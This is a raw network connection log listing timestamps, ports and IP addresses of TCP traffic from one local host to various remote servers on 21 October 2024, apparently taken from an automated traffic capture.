Oct 21, 2024 10:46:53.172276020 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:53.172369957 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:53.414218903 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:53.419254065 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:53.540116072 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:53.616796970 CEST	443	49775	34.149.100.209	192.168.2.4
Oct 21, 2024 10:46:53.616864920 CEST	49775	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:46:53.616919041 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:53.617376089 CEST	443	49773	35.244.181.201	192.168.2.4
Oct 21, 2024 10:46:53.617460966 CEST	49773	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:53.628695011 CEST	443	49774	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:53.629338980 CEST	49774	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:53.836152077 CEST	49773	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:53.836221933 CEST	443	49773	35.244.181.201	192.168.2.4
Oct 21, 2024 10:46:53.837234974 CEST	443	49773	35.244.181.201	192.168.2.4
Oct 21, 2024 10:46:53.892433882 CEST	49773	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:54.396408081 CEST	49773	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:54.396446943 CEST	49774	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:54.396471977 CEST	443	49774	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:54.396806955 CEST	443	49774	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:54.397079945 CEST	443	49773	35.244.181.201	192.168.2.4
Oct 21, 2024 10:46:54.397439957 CEST	49774	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:54.397456884 CEST	443	49774	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:54.397536039 CEST	49773	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:54.397559881 CEST	443	49773	35.244.181.201	192.168.2.4
Oct 21, 2024 10:46:54.397625923 CEST	49775	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:46:54.397640944 CEST	443	49775	34.149.100.209	192.168.2.4
Oct 21, 2024 10:46:54.397705078 CEST	49775	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:46:54.397881985 CEST	443	49775	34.149.100.209	192.168.2.4
Oct 21, 2024 10:46:54.403963089 CEST	49775	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:46:54.403995037 CEST	49774	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:54.404004097 CEST	49773	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:46:55.778327942 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:55.783440113 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:55.901544094 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:55.951585054 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:56.793521881 CEST	49778	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:56.793621063 CEST	443	49778	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:56.796936035 CEST	49779	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:56.797023058 CEST	443	49779	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:56.798412085 CEST	49778	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:56.798554897 CEST	49779	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:56.799770117 CEST	49778	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:56.799823046 CEST	443	49778	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:56.799932003 CEST	49779	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:56.799967051 CEST	443	49779	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:56.809902906 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:56.811645985 CEST	49780	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:56.811676979 CEST	443	49780	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:56.814723969 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:56.820811033 CEST	49780	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:56.820992947 CEST	49780	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:56.821023941 CEST	443	49780	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:56.935342073 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:56.978112936 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:57.412462950 CEST	443	49779	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:57.412554026 CEST	49779	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.415606976 CEST	49779	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.415616989 CEST	443	49779	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:57.415843010 CEST	443	49779	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:57.418471098 CEST	49779	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.418622017 CEST	443	49779	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:57.418636084 CEST	49779	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.418662071 CEST	443	49779	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:57.421380997 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:57.426258087 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:57.427417994 CEST	443	49778	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:57.427515984 CEST	49778	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.431602955 CEST	49778	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.431637049 CEST	443	49778	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:57.431719065 CEST	49778	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.431824923 CEST	443	49778	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:57.432728052 CEST	49778	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.435564041 CEST	49786	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.435594082 CEST	443	49786	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:57.435889959 CEST	49786	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.437218904 CEST	49786	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.437233925 CEST	443	49786	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:57.449641943 CEST	443	49780	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:57.449676037 CEST	443	49780	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:57.449738979 CEST	49780	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.452306032 CEST	49780	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.452337027 CEST	443	49780	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:57.452807903 CEST	443	49780	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:57.454885006 CEST	49780	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.454962969 CEST	49780	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.455090046 CEST	443	49780	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:57.455239058 CEST	49780	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.467514038 CEST	49787	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:46:57.467533112 CEST	443	49787	34.107.243.93	192.168.2.4
Oct 21, 2024 10:46:57.467868090 CEST	49787	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:46:57.469199896 CEST	49787	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:46:57.469213009 CEST	443	49787	34.107.243.93	192.168.2.4
Oct 21, 2024 10:46:57.544087887 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:57.548197031 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:57.553133965 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:57.586379051 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:57.627396107 CEST	443	49779	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:57.627463102 CEST	49779	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:57.673924923 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:57.717915058 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:58.036459923 CEST	443	49786	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:58.036533117 CEST	49786	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:58.041374922 CEST	49786	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:58.041382074 CEST	443	49786	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:58.041488886 CEST	49786	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:58.041534901 CEST	443	49786	34.120.208.123	192.168.2.4
Oct 21, 2024 10:46:58.042646885 CEST	49786	443	192.168.2.4	34.120.208.123
Oct 21, 2024 10:46:58.044328928 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:58.049177885 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:58.074907064 CEST	443	49787	34.107.243.93	192.168.2.4
Oct 21, 2024 10:46:58.074974060 CEST	49787	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:46:58.079380989 CEST	49787	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:46:58.079391003 CEST	443	49787	34.107.243.93	192.168.2.4
Oct 21, 2024 10:46:58.079457998 CEST	49787	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:46:58.079571962 CEST	443	49787	34.107.243.93	192.168.2.4
Oct 21, 2024 10:46:58.079832077 CEST	49787	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:46:58.167494059 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:58.170274973 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:58.175111055 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:58.219310999 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:46:58.295963049 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:46:58.357386112 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:02.027440071 CEST	49813	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.027488947 CEST	443	49813	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:02.031744957 CEST	49813	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.031898975 CEST	49813	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.031919003 CEST	443	49813	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:02.060038090 CEST	49814	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:47:02.060060978 CEST	443	49814	34.149.100.209	192.168.2.4
Oct 21, 2024 10:47:02.060657024 CEST	49814	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:47:02.073082924 CEST	49814	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:47:02.073100090 CEST	443	49814	34.149.100.209	192.168.2.4
Oct 21, 2024 10:47:02.073949099 CEST	49815	443	192.168.2.4	52.222.236.23
Oct 21, 2024 10:47:02.073976040 CEST	443	49815	52.222.236.23	192.168.2.4
Oct 21, 2024 10:47:02.088232994 CEST	49815	443	192.168.2.4	52.222.236.23
Oct 21, 2024 10:47:02.089140892 CEST	49815	443	192.168.2.4	52.222.236.23
Oct 21, 2024 10:47:02.089159012 CEST	443	49815	52.222.236.23	192.168.2.4
Oct 21, 2024 10:47:02.114877939 CEST	49816	443	192.168.2.4	35.190.72.216
Oct 21, 2024 10:47:02.114908934 CEST	443	49816	35.190.72.216	192.168.2.4
Oct 21, 2024 10:47:02.119427919 CEST	49816	443	192.168.2.4	35.190.72.216
Oct 21, 2024 10:47:02.120907068 CEST	49816	443	192.168.2.4	35.190.72.216
Oct 21, 2024 10:47:02.120923042 CEST	443	49816	35.190.72.216	192.168.2.4
Oct 21, 2024 10:47:02.177627087 CEST	49818	443	192.168.2.4	35.201.103.21
Oct 21, 2024 10:47:02.177649975 CEST	443	49818	35.201.103.21	192.168.2.4
Oct 21, 2024 10:47:02.181794882 CEST	49818	443	192.168.2.4	35.201.103.21
Oct 21, 2024 10:47:02.183356047 CEST	49818	443	192.168.2.4	35.201.103.21
Oct 21, 2024 10:47:02.183371067 CEST	443	49818	35.201.103.21	192.168.2.4
Oct 21, 2024 10:47:02.638833046 CEST	443	49813	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:02.638921976 CEST	49813	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.642244101 CEST	49813	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.642276049 CEST	443	49813	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:02.642520905 CEST	443	49813	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:02.645097017 CEST	49813	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.645188093 CEST	49813	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.645267963 CEST	443	49813	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:02.645451069 CEST	49813	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.649207115 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:02.654081106 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:02.701195002 CEST	443	49814	34.149.100.209	192.168.2.4
Oct 21, 2024 10:47:02.701276064 CEST	49814	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:47:02.704020023 CEST	49814	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:47:02.704035997 CEST	443	49814	34.149.100.209	192.168.2.4
Oct 21, 2024 10:47:02.704282045 CEST	443	49814	34.149.100.209	192.168.2.4
Oct 21, 2024 10:47:02.706418037 CEST	49814	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:47:02.706490993 CEST	49814	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:47:02.706563950 CEST	443	49814	34.149.100.209	192.168.2.4
Oct 21, 2024 10:47:02.706794977 CEST	49814	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:47:02.740047932 CEST	443	49816	35.190.72.216	192.168.2.4
Oct 21, 2024 10:47:02.740914106 CEST	49816	443	192.168.2.4	35.190.72.216
Oct 21, 2024 10:47:02.745002985 CEST	49816	443	192.168.2.4	35.190.72.216
Oct 21, 2024 10:47:02.745012045 CEST	443	49816	35.190.72.216	192.168.2.4
Oct 21, 2024 10:47:02.745115042 CEST	49816	443	192.168.2.4	35.190.72.216
Oct 21, 2024 10:47:02.745232105 CEST	443	49816	35.190.72.216	192.168.2.4
Oct 21, 2024 10:47:02.745745897 CEST	49816	443	192.168.2.4	35.190.72.216
Oct 21, 2024 10:47:02.772408009 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:02.776094913 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:02.780991077 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:02.795003891 CEST	443	49818	35.201.103.21	192.168.2.4
Oct 21, 2024 10:47:02.795121908 CEST	49818	443	192.168.2.4	35.201.103.21
Oct 21, 2024 10:47:02.799299002 CEST	49818	443	192.168.2.4	35.201.103.21
Oct 21, 2024 10:47:02.799307108 CEST	443	49818	35.201.103.21	192.168.2.4
Oct 21, 2024 10:47:02.799328089 CEST	49818	443	192.168.2.4	35.201.103.21
Oct 21, 2024 10:47:02.799515009 CEST	443	49818	35.201.103.21	192.168.2.4
Oct 21, 2024 10:47:02.800383091 CEST	49818	443	192.168.2.4	35.201.103.21
Oct 21, 2024 10:47:02.802025080 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:02.806988001 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:02.811686993 CEST	49823	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:47:02.811728001 CEST	443	49823	34.149.100.209	192.168.2.4
Oct 21, 2024 10:47:02.811885118 CEST	49823	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:47:02.812010050 CEST	49823	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:47:02.812021017 CEST	443	49823	34.149.100.209	192.168.2.4
Oct 21, 2024 10:47:02.901918888 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:02.925218105 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:02.927817106 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:02.932770014 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:02.936599970 CEST	443	49815	52.222.236.23	192.168.2.4
Oct 21, 2024 10:47:02.936616898 CEST	443	49815	52.222.236.23	192.168.2.4
Oct 21, 2024 10:47:02.936690092 CEST	49815	443	192.168.2.4	52.222.236.23
Oct 21, 2024 10:47:02.939883947 CEST	49815	443	192.168.2.4	52.222.236.23
Oct 21, 2024 10:47:02.939909935 CEST	443	49815	52.222.236.23	192.168.2.4
Oct 21, 2024 10:47:02.940164089 CEST	443	49815	52.222.236.23	192.168.2.4
Oct 21, 2024 10:47:02.942588091 CEST	49815	443	192.168.2.4	52.222.236.23
Oct 21, 2024 10:47:02.942670107 CEST	49815	443	192.168.2.4	52.222.236.23
Oct 21, 2024 10:47:02.942773104 CEST	443	49815	52.222.236.23	192.168.2.4
Oct 21, 2024 10:47:02.942838907 CEST	49815	443	192.168.2.4	52.222.236.23
Oct 21, 2024 10:47:02.950269938 CEST	49824	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.950295925 CEST	443	49824	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:02.951448917 CEST	49825	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.951510906 CEST	443	49825	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:02.951764107 CEST	49824	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.951878071 CEST	49825	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.951917887 CEST	49824	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.951930046 CEST	443	49824	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:02.952045918 CEST	49825	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.952064037 CEST	443	49825	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:02.953828096 CEST	49826	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.953838110 CEST	443	49826	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:02.954082966 CEST	49826	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.954200029 CEST	49826	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:02.954210043 CEST	443	49826	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:02.955427885 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:02.960182905 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:03.054073095 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:03.078639984 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:03.080861092 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:03.085736036 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:03.123570919 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:03.206705093 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:03.261652946 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:03.423629999 CEST	443	49823	34.149.100.209	192.168.2.4
Oct 21, 2024 10:47:03.423727989 CEST	49823	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:47:03.427052975 CEST	49823	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:47:03.427068949 CEST	443	49823	34.149.100.209	192.168.2.4
Oct 21, 2024 10:47:03.427902937 CEST	443	49823	34.149.100.209	192.168.2.4
Oct 21, 2024 10:47:03.429585934 CEST	49823	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:47:03.429680109 CEST	49823	443	192.168.2.4	34.149.100.209
Oct 21, 2024 10:47:03.432445049 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:03.437542915 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:03.556003094 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:03.559062958 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:03.565018892 CEST	443	49826	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:03.565512896 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:03.565511942 CEST	49826	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:03.568077087 CEST	49826	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:03.568090916 CEST	443	49826	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:03.568320036 CEST	443	49826	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:03.568824053 CEST	443	49825	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:03.568897963 CEST	49825	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:03.571233034 CEST	49825	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:03.571238041 CEST	443	49825	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:03.571676016 CEST	443	49825	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:03.573488951 CEST	49826	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:03.573570967 CEST	49826	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:03.573648930 CEST	443	49826	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:03.574546099 CEST	49825	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:03.574637890 CEST	49825	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:03.574697971 CEST	443	49825	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:03.577888012 CEST	443	49824	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:03.578150988 CEST	49826	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:03.578185081 CEST	49825	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:03.578190088 CEST	49824	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:03.581139088 CEST	49824	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:03.581146955 CEST	443	49824	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:03.581283092 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:03.581363916 CEST	443	49824	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:03.584108114 CEST	49824	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:03.584187031 CEST	49824	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:03.584254980 CEST	443	49824	35.244.181.201	192.168.2.4
Oct 21, 2024 10:47:03.584741116 CEST	49824	443	192.168.2.4	35.244.181.201
Oct 21, 2024 10:47:03.586142063 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:03.684724092 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:03.704906940 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:03.707007885 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:03.712063074 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:03.763091087 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:03.832833052 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:03.878985882 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:03.946731091 CEST	49834	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:03.951744080 CEST	80	49834	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:03.951834917 CEST	49834	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:03.951976061 CEST	49834	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:03.956795931 CEST	80	49834	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:04.881408930 CEST	80	49834	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:04.881613016 CEST	49834	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:06.387619972 CEST	49834	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:06.387922049 CEST	49850	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:06.392788887 CEST	80	49850	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:06.392890930 CEST	49850	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:06.393047094 CEST	49850	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:06.397852898 CEST	80	49850	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:06.402023077 CEST	80	49834	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:06.402506113 CEST	49834	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:06.455960989 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:06.460928917 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:06.579123020 CEST	80	49766	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:06.584865093 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:06.590097904 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:06.633639097 CEST	49766	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:06.710750103 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:06.771845102 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:07.330497980 CEST	80	49850	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:07.330569029 CEST	49850	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:07.334073067 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:07.339113951 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:07.339401007 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:07.339574099 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:07.344347954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.187134981 CEST	49861	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:47:08.187160969 CEST	443	49861	34.107.243.93	192.168.2.4
Oct 21, 2024 10:47:08.187233925 CEST	49861	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:47:08.188529015 CEST	49861	443	192.168.2.4	34.107.243.93
Oct 21, 2024 10:47:08.188540936 CEST	443	49861	34.107.243.93	192.168.2.4
Oct 21, 2024 10:47:08.256952047 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.256978989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.256995916 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.257045984 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.257071018 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.257072926 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.257087946 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.257103920 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.257121086 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.257121086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.257141113 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.257155895 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.257158995 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.257174969 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.257214069 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.262099028 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.262213945 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:08.411276102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.411313057 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:08.411331892 CEST	49855	80	192.168.2.4	185.215.113.16
